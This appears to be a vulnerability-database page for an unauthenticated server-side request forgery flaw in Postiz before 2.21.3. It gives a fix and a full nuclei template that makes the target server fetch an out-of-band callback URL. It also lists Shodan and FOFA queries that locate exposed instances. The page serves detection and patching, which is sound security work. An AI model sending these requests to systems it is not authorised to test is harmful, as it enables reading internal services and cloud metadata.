Postiz < 2.21.3 - Unauthenticated Server-Side Request Forgery

highseverity

8.6CVSS score

1.6%likelihood of exploitation, next 30 days

76%of all CVEs are less likely

Readycheck to confirm it

Postiz before 2.21.3 exposes an unauthenticated GET /public/stream endpoint that fetches a user-supplied URL and returns its response; a weak mp4 suffix check allows requests to internal HTTP services.

Impact

An unauthenticated attacker can read internal HTTP services and cloud metadata through the Postiz server.

Fix

Upgrade to Postiz 2.21.3 or later, which rejects unsafe URLs and requires public HTTPS destinations.

How to confirm it

Send: GET {{BaseURL}}/auth
Positive when: matches /(?i)<title>Postiz[^<]*</title>/
Send: GET {{BaseURL}}/api/public/stream?url=http://{{interactsh-url}}/x.mp4 ; GET {{BaseURL}}/public/stream?url=http://{{interactsh-url}}/x.mp4
Positive when: status_code == 200 and interactsh_protocol == "http" and contains(interactsh_request, "/x.mp4")

Run it with nuclei: nuclei -id CVE-2026-34577 -u <target>

The full check

id: CVE-2026-34577

info:
  name: Postiz < 2.21.3 - Unauthenticated Server-Side Request Forgery
  author: ashish-cybersec
  severity: high
  description: |
    Postiz before 2.21.3 exposes an unauthenticated GET /public/stream endpoint that fetches a user-supplied URL and returns its response; a weak mp4 suffix check allows requests to internal HTTP services.
  impact: |
    An unauthenticated attacker can read internal HTTP services and cloud metadata through the Postiz server.
  remediation: |
    Upgrade to Postiz 2.21.3 or later, which rejects unsafe URLs and requires public HTTPS destinations.
  reference:
    - https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-mv6h-v3jg-g539
    - https://github.com/gitroomhq/postiz-app/releases/tag/v2.21.3
    - https://nvd.nist.gov/vuln/detail/CVE-2026-34577
  classification:
    cve-id: CVE-2026-34577
    epss-score: 0.00482
    epss-percentile: 0.41892
    cwe-id: CWE-918
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
  metadata:
    verified: true
    max-request: 2
    vendor: gitroomhq
    product: postiz
    shodan-query: 'html:"Postiz Register"'
    fofa-query: 'title="Postiz Register"'
  tags: cve,cve2026,postiz,ssrf,oast,unauth,gitroomhq

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/auth"

    matchers:
      - type: regex
        part: body
        regex:
          - '(?i)<title>Postiz[^<]*</title>'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/api/public/stream?url=http://{{interactsh-url}}/x.mp4"
      - "{{BaseURL}}/public/stream?url=http://{{interactsh-url}}/x.mp4"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'interactsh_protocol == "http"'
          - 'contains(interactsh_request, "/x.mp4")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from